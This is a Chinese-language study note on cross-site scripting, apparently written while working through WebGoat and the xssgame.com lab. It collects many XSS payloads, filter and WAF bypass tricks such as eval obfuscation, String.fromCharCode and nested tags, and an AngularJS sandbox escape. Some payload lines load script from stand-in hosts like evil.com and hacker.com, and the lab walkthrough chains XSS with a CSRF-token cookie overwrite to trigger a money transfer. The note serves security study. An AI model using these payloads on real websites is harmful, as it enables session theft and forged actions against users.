【Web安全】XSS跨站脚本攻击

这个笔记基础内容是基于WebGoat靶场撰写的
Cross Site Scripting (XSS) https://owasp.org/www-community/attacks/xss/
XSS Filter Evasion Cheat Sheet :https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html
干货笔记!一文讲透XSS(跨站脚本)漏洞 https://cloud.tencent.com/developer/article/1969009
他山之石 | 对 XSS 的一次深入分析认识 https://www.freebuf.com/articles/web/195507.html
超全的xss绕过技巧 https://segmentfault.com/a/1190000044942572
前端安全系列(一):如何防止XSS攻击? https://segmentfault.com/a/1190000016551188

相关论文:

  • Dancer in the Dark: Synthesizing and Evaluating Polyglots for Blind Cross-Site Scripting
  • Link: Black-Box Detection of Cross-Site Scripting Vulnerabilities Using Reinforcement Learning
  • Don’t Trust The Locals: Investigating the Prevalence of Persistent Client-Side Cross-Site Scripting in the Wild

概念

最基础的验证语句<script>alert('XSS')</script>

XSS最常出现的地方:

  • Search fields that echo a search string back to the user(将搜索字符串回显给用户的搜索字段)
  • Input fields that echo user data(回显用户数据的输入字段)
  • Error messages that return user-supplied text(返回用户输入文本的错误消息)
  • Hidden fields that contain user-supplied data(包含用户数据的隐藏字段)
  • Any page that displays user-supplied data(显示用户数据的任何页面)
    • Message boards(留言板)
    • Free form comments(自由形式评论)
  • HTTP Headers(HTTP头部)

XSS攻击可能会导致:

  • Stealing session cookies 窃取会话cookie
  • Creating false requests 创建虚假请求
  • Creating false fields on a page to collect credentials 在页面上创建用于收集凭据的虚假字段
  • Redirecting your page to a “non-friendly” site 将您的页面重定向到“不友好”的网站
  • Creating requests that masquerade as a valid user 创建伪装成有效用户的请求
  • Stealing of confidential information 窃取机密信息
  • Execution of malicious code on an end-user system (active scripting) 在最终用户系统上执行恶意代码(主动脚本)
  • Insertion of hostile and inappropriate content 插入敌对和不适当的内容

XSS攻击类型:
反射型(Reflected)

  • 用户请求中的恶意内容通过Web浏览器显示给用户
  • 服务器响应后,恶意内容被写入页面
  • 需要社交工程学技巧
  • 以用户在浏览器中继承的浏览器权限运行

DOM-based(技术上也属于反射型)

  • 客户端脚本使用用户请求中的恶意内容将HTML写入其页面
  • 类似于反射型XSS
  • 以用户在浏览器中继承的浏览器权限运行

存储型(Stored or persistent)

  • 恶意内容存储在服务器上(数据库、文件系统或其他对象),稍后显示给用户的Web浏览器
  • 不需要社交工程学技巧

除此之外还有下面这些xss类别:
mXSS:mXSS中文是突变型XSS,指的是原先的Payload提交是无害不会产生XSS,而由于一些特殊原因,如反编码等,导致Payload发生变异,导致的XSS。 https://www.freebuf.com/articles/network/409092.html
UXSS:是一种利用浏览器或者浏览器扩展漏洞来制造产生XSS的条件并执行代码的一种攻击类型。UXSS 可以理解为Bypass 同源策略。

XSS的攻击载荷

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
<script src=http://xxx.com/xss.js></script>  #引用外部的xss
<script> alert("hack")</script> #弹出hack
<script>alert(document.cookie)</script> #弹出cookie

<img src=1 onerror=alert("hack")>
<img src=1 onerror=alert(/hack/)>
<img src=1 onerror=alert(document.cookie)> #弹出cookie
<img src=1 onerror=alert(123)> 注:对于数字,可以不用引号
<img src="javascript:alert("XSS");">
<img dynsrc="javascript:alert('XSS')">
<img lowsrc="javascript:alert('XSS')">

<body onload=alert("XSS")>
<body background="javascript:alert("XSS")">

// 由于浏览器的内容安全策略(CSP),iFrame中的JavaScript无法访问父页面的DOM
<iframe src=”http://evil.com/xss.html”>

// 在某些浏览器中,如果标记的type属性<input>设置为image,则可以对其进行操作以嵌入脚本
<input type="image" src="javascript:alert('XSS');">

<link rel="stylesheet" href="javascript:alert('XSS');">

<table background="javascript:alert('XSS')">
<td background="javascript:alert('XSS')">

<div style="background-image: url(javascript:alert('XSS'))">
<div style="width: expression(alert('XSS'));">

// 该<object>标签可用于从外部站点脚本包含
<object type="text/x-scriptlet" data="http://hacker.com/xss.html">

<style onload=alert(1) />

// Marquee 标签除了在web开发中有标签内容回滚作用之外,它还支持一系列的事件处理程序,因此可以用它来实现XSS Payload触发。
<marquee behavior="alternate" onstart=alert(1)>hack the planet</marquee>
<marquee loop="1" onfinish=alert(1)>hack the planet</marquee>
<marquee onstart=alert(1)>hack the planet</marquee>

// media标签
<audio oncanplay=alert(1) src="/media/hack-the-planet.mp3" /> // 在用户可以开始播放音视频(audio/video)时触发;
<audio ondurationchange=alert(1) src="/media/hack-the-planet.mp3" /> // 在音视频(audio/video)的时长发生变化时触发;
<audio autoplay=true onended=alert(1) src="/media/hack-the-planet.mp3" />
<audio onloadeddata=alert(1) src="/media/hack-the-planet.mp3" />
<audio onloadedmetadata=alert(1) src="/media/hack-the-planet.mp3" />
<audio onloadstart=alert(1) src="/media/hack-the-planet.mp3" />
<audio onprogress=alert(1) src="/media/hack-the-planet.mp3" />
<audio onsuspend=alert(1) src="/media/hack-the-planet.mp3" />
<video oncanplay=alert(1) src="/media/hack-the-planet.mp4" />
<video ondurationchange=alert(1) src="/media/hack-the-planet.mp4" />
<video autoplay=true onended=alert(1) src="/media/hack-the-planet.mp4" />
<video onloadeddata=alert(1) src="/media/hack-the-planet.mp4" />
<video onloadedmetadata=alert(1) src="/media/hack-the-planet.mp4" />
<video onloadstart=alert(1) src="/media/hack-the-planet.mp4" />
<video onprogress=alert(1) src="/media/hack-the-planet.mp4" />
<video onsuspend=alert(1) src="/media/hack-the-planet.mp4" />

XSS 绕过技巧

Eval & 其它冗余符号

如果目标系统的WAF或其它防护软件没把 /(eval|replace)\(.+?\)/i 这种样式列入黑名单,那么我们可以在其中通过夹杂冗余符号的方式形成Payload,利用其中的eval动作来加载Payload,再利用之后的replace动作把冗余符号进行替换删除。
eval('~a~le~rt~~(~~1~~)~'.replace(/~/g, ''))
当引号被转义(escape)之后,不管使用了什么绕过技术,肯定会引起问题,就像上面的eval('~a~le~rt~~(~~1~~)~'.replace(/~/g, ''))一样,如果要顺带把引号转义,其Payload可能如下:
eval(\'~a~le~rt~~(~~1~~)~\'.replace(/~/g, \'\'))
但另一种变换方法就是利用正则表达式来避免带入引号的使用,如可以在上述Payload中引入正斜杠方式,然后再用创建的正则表达式对象属性来访问其中的闭合字符串。示例如下:
eval(/~a~le~rt~~(~~1~~)~/.source.replace(/~/g, new String()))
以此用new String()来实现把~转换为空字符串的目的,从而不需要用到引号。
对引号实行转义并绕过WAF类产品模式匹配规则的一个有效手段是使用eval的String.fromCharCode方法,该方法将获取一个或多个十进制Unicode值,然后将它们转换成等效的ASCII字符,并将它们连成一个字符串,如:
console.log(String.fromCharCode(65,66,67,68)) //在终端返回显示的是字符串 "ABCD"
通过这种对Unicode值的转换,可以把目标值传递给eval,因此,可以构造Payload如下:
eval(String.fromCharCode(97,108,101,114,116,40,49,41)) //// 最终执行的会是 alert(1)

我们也可以采取其它方法来规避过滤。由于函数可以存储在JavaScript的变量中,所以为了不直接调用eval,我们可以把它分配给一个变量,然后间接调用它,示例如下:
var x = eval; x('alert(1)')
另外一种间接调用eval的方法是用括号进行构造,即用括号间接调用法,如表达式(1,2,3,4)返回的是4,即括号中最后一个,所以(1,eval)返回的是函数eval,具体示例如下:

1
2
(eval)    // 返回函数eval
(1, eval) // 仍然返回函数eval

因此可以构造以下Payload来执行:(1, eval)('alert(1)') // 返回 alert(1)
基于此,也可以使用call方法来直接调用,如下:eval.call(null, 'alert(1)') //返回 alert(1)
其次,可以定义一个新函数的方法来规避直接对eval的调用,当然这种方法还会涉及到一些语法定义,如下:

1
2
3
4
5
function hackThePlanet () {

alert(1)

}

最后,还可以用创建Function对象的方式来实现alert调用,该对象接受构造函数中的字符串作为函数实现,如下:new Function('alert(1)')()

利用错误输入过滤机制实现绕过

删除机制:
也可能会删的不干净,如下是常见的绕过方式:<sc<script>ript>alert(1)</sc</script>ript>
上述javascript中,如果过滤器只是简单地把<script></script> 标签对删除了,那么最终会剩下:<script>alert(1)</script>
同样的方法可以应用到一些标签属性或事件处理程序中,就像如果onerror是删除目标,那么,我们可以构造以下Payload:<img src=x ononerrorerror=alert(1) />

替换机制:
如果目标系统的过滤器会把<script></script>标签对都过滤替换为NAUGHTY_HACKER字段,那么,我们提交<script>alert(1)</script> 之后的结果就会是NAUGHTY_HACKERalert(1)NAUGHTY_HACKER。
但如果我们把<script>标签对的声明改为<script <script>></script </script>>这种嵌套式样式后,那么参照替换为NAUGHTY_HACKER字段的规则,对于<script>alert(1)</script>来说,目标过滤器会把它过滤为:
<script NAUGHTY_HACKER>alert(1)</script NAUGHTY_HACKER>
看上去是个莫名标签,但浏览器的容错机制仍会执行上面的代码

靶场实战

http://www.xssgame.com/
第一关直接插入就好了,来看第二关
测试xss的主要思路是看回显在哪里,通过自定义化输入闭合或绕过一些限制

可以看到我们的输入回显在两个地方,针对第一个地方onload="startTimer('1');",在JS代码中,如:var a = 'a' + alert(); ,在运算过程中会自动执行响应函数,我们可以利用这里的onload函数onload="startTimer('1' + alert(1)+'1');" />,构造这样的语句就可以实现弹窗,使用这个payload也可以实现:'); alert(1); //

第三关,根据提示,直接看代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
function chooseTab(name) {
var html = "Cat " + parseInt(name) + "<br>";
html += "<img src='/static/img/cat" + name + ".jpg' />";

document.getElementById('tabContent').innerHTML = html;

// Select the current tab
var tabs = document.querySelectorAll('.tab');
for (var i = 0; i < tabs.length; i++) {
if (tabs[i].id == "tab" + parseInt(name)) {
tabs[i].className = "tab active";
} else {
tabs[i].className = "tab";
}
}

window.location.hash = name;

// Tell parent we've changed the tab
top.postMessage({'url': self.location.toString()}, "*");
}

看到了有用到img标签,前面总结的载荷中就写到了,图片显示错误的话会自动触发onerror,<img src=x ononerrorerror=alert(1) />,构造payload/#1' onerror='alert(11)',来到下一关

第四关,看到没有任何回显,在几个页面间跳转,F12查看页面源代码,发现了一行这样的代码setTimeout(function() { window.location = 'welcome'; }, 1000);,这里需要提到一个知识点:window.location 等同于 window.location.href,而href属性支持执行javascript也就是这样写:href='javascript:alert()',因此可以构造Payload:next=javascript:alert(),成功执行

第五关,用到了Angular框架,这个框架的特点是可以用{{1+1}}类似这样的方式执行代码,但是我尝试输入后,发现被html编码了,而且也没有什么地方可以执行,接下来审计代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<script>
angular.module('myApp', [])
.controller('myController', ['$scope', function ($scope) {
$scope.query = "";
$scope.alert = window.alert;
}]);

var UTM_PARAMS = ["utm_content", "utm_medium", "utm_source",
"utm_campaign", "utm_term"]

if (location.search)
{
var params = location.search.substring(1).split('&');

for (var p in params) {
var r = params[p].split('=');

if (r.length == 2 && UTM_PARAMS.indexOf(r[0]) != -1) {
var el = document.getElementsByName(r[0]);
if (el.length) el[0].value = decodeURIComponent(r[1]);
}
}
}
</script>

上面代码涉及到UTM解析:UTM参数是在线营销和网站分析中的一个重要工具,它们是一组查询参数,可以附加到URL中,用于追踪和分析营销活动的效果。UTM代表Urchin Tracking Module。location.search是对URL的查询字符串,split('&')是把字符串分割成数组,split('=')是把数组分割成键值对,decodeURIComponent(r[1])是把编码后的字符串解码,并赋值给el[0]。也就是对参数中的代码作了执行,替换到UTM_PARAMS中某个节点处,则构造payload:?utm_term={{alert()}},成功。

第六关,发现和前面的类似,但都尝试了下不行,其实刚才我遇到Angular后第一反应是去搜有没有相应的框架漏洞,这次又检索了下,发现有一个漏洞,满足源代码中引用的版本:1.2.0
下面的博客中给出了相应的payload
https://portswigger.net/research/xss-without-html-client-side-template-injection-with-angularjs

尝试输入,构造参数?query={{a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')()}},直接放在url中没有反应,看了解析说用&lcub;是{的字符实体,&rcub;是}的字符实体。使用这些实体替代原字符可以实现注入。

第七关,这关打开后看到熟悉的CSP,CSP是Content Security Policy的缩写,前两天刚看了。审计代码发现有个关键的level7.js文件,其中内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
function main() {
var m = location.search.match('menu=(.*)');
var menu = m ? atob(m[1]) : 'about';
document.write('<script src="jsonp?menu=' + encodeURIComponent(menu) + '"></script>');
}

/**
* Display stuff returned from server side.
* @param {string} data - JSON data from server side
*/
function callback(data) {
if (data.title) document.write('<h1>' + data.title + '</h1>');
if (data.pictures) data.pictures.forEach(function(url) {
document.write('<img src="/static/img/' + url + '"><br><br>');
});
}

main();

在其中看到了熟悉的jsonp,jsonp可能会错误接收callback 参数,构造payload:jsonp?callback=1,有正常回显

接下来想办法插入执行代码,观察url参数是被base64编码后的,随便输入一些尝试下,可以显示在页面,编码后传入<script>alert(1)</script>PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==),发现没有正常显示。观察控制台输出:

因为同源策略被禁止代码执行,这个时候就想到上面的jsonp,利用jsonp执行代码,构造payload <script src='jsonp?callback=alert();//'></script>,编码后:PHNjcmlwdCBzcmM9J2pzb25wP2NhbGxiYWNrPWFsZXJ0KCk7Ly8nPjwvc2NyaXB0Pg==,最终成功执行。

第8关,先走了下流程,大概就是可以set自己的名字,然后可以给别人转账,那么我们的思路就是,给出一个链接,可以set的同时还可以直接转账,首先看下set的内容:
http://www.xssgame.com/f/d9u16LTxchEi/set?name=name&value=12345&redirect=index
返回包中Set-Cookie: name=12345; Path=/ 和我们设定的一致,看下转钱的包,请求如下:
http://www.xssgame.com/f/d9u16LTxchEi/transfer?name=31123&amount=123&csrf_token=99DPV595WL
我们先验证下set,构造payloadhttp://www.xssgame.com/f/d9u16LTxchEi/set?name=csrf_token&value=12345&redirect=index,发现成功set,因为这里的set之后直接就有跳转,那我们直接构造一个转账页面跳转过去执行,因为&会被url解析为参数,所以这里用url编码下
transfer%3Fname%3D31123%26amount%3D123%26csrf_token%3D12345,直接在控制台执行encodeURIComponent('transfer?name=31123&amount=123&csrf_token=12345')即可,到这里是能干坏事了,但还是没有正常执行,发现转账数目错误的情况下会有回显,构造payload如下:transfer?name=31123&amount=%3Cscript%3Ealert()%3C/script%3E&csrf_token=12345

防范XSS

https://segmentfault.com/a/1190000022678120
https://www.cnblogs.com/blbl-blog/p/17188558.html